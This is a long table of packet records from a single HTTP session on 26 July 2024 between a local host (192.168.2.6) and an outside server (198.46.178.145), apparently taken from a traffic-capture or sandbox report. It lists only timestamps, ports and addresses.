Jul 26, 2024 11:27:08.979244947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979255915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979269028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979307890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979322910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979334116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979346037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979356050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979388952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979517937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979557991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979577065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979619026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979636908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979648113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979666948 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979688883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979743004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979754925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979767084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979774952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979785919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979801893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979836941 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979846954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979887009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979952097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979963064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979975939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.979983091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.979995966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980005980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980015039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980022907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980037928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980082035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980144024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980154991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980192900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980297089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980305910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980310917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980315924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980320930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980326891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980330944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980335951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980349064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980366945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980379105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980384111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980408907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980427027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980576992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980618954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980642080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980652094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980667114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980678082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980684042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980691910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980717897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980741024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980772972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980784893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980813026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980830908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.980945110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980959892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980974913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980983973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.980989933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.981000900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981009007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981024027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981029034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.981040955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981050968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.981072903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981080055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.981091976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981101036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981107950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.981121063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:08.981147051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:08.981183052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.040966034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041006088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041014910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041038990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.041065931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041073084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.041085005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041095972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041106939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.041111946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041157961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.041877031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041886091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041899920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041918993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.041927099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.041934967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.041960001 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042016983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042025089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042040110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042047977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042058945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042063951 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042078972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042094946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042257071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042264938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042309046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042309046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042325974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042339087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042349100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042356968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042366982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042375088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.042382956 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.042411089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.073613882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073635101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073647022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073718071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073729038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073734045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.073749065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073757887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073792934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.073854923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073863983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073877096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073887110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.073895931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.073915005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.073940992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074063063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074073076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074088097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074098110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074103117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074115038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074124098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074131012 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074143887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074148893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074157953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074167967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074182987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074287891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074296951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074327946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074470043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074479103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074493885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074502945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074508905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074520111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074523926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074532986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074542046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074549913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074563026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074567080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074575901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074584961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074590921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074601889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074609995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074628115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074649096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074811935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074875116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.074975967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.074986935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075000048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075005054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075017929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075022936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075031996 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075037956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075047970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075062037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075067997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075078964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075088024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075093031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075104952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075113058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075119972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075133085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075145960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075150967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075161934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075169086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075186014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075205088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075382948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075392008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075407982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075418949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075448036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075540066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075551987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075567961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075572014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075583935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075588942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075598955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075603962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075614929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075623035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075629950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075639963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075644970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075656891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075665951 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075674057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075681925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075690985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075700998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075711966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.075716972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.075746059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076299906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076309919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076327085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076338053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076342106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076355934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076369047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076376915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076385975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076395988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076406956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076417923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076422930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076433897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076446056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076452017 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076463938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076477051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076488972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076502085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076514006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076523066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076533079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076544046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076550007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076564074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076569080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076576948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076584101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076596022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076605082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076610088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076621056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076628923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076637983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076644897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076653957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076662064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076673985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.076690912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.076714993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.141558886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141582966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141596079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141623974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.141648054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.141757965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141768932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141782999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141788960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.141801119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.141817093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.141848087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647387981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647453070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647485018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647500992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647522926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647538900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647538900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647556067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647569895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647579908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647594929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647603989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647624016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647633076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647648096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647655964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647671938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647680998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647699118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647706032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647713900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647736073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647753000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647759914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647770882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647783041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647799015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647826910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647857904 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647891045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647913933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647927999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.647965908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647965908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.647985935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648000002 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648015022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648035049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648071051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648085117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648097038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648117065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648123980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648139000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648145914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648160934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648199081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648222923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648260117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.648322105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648335934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.648358107 CEST	80	49741	198.46.178.145	192.168.2.6
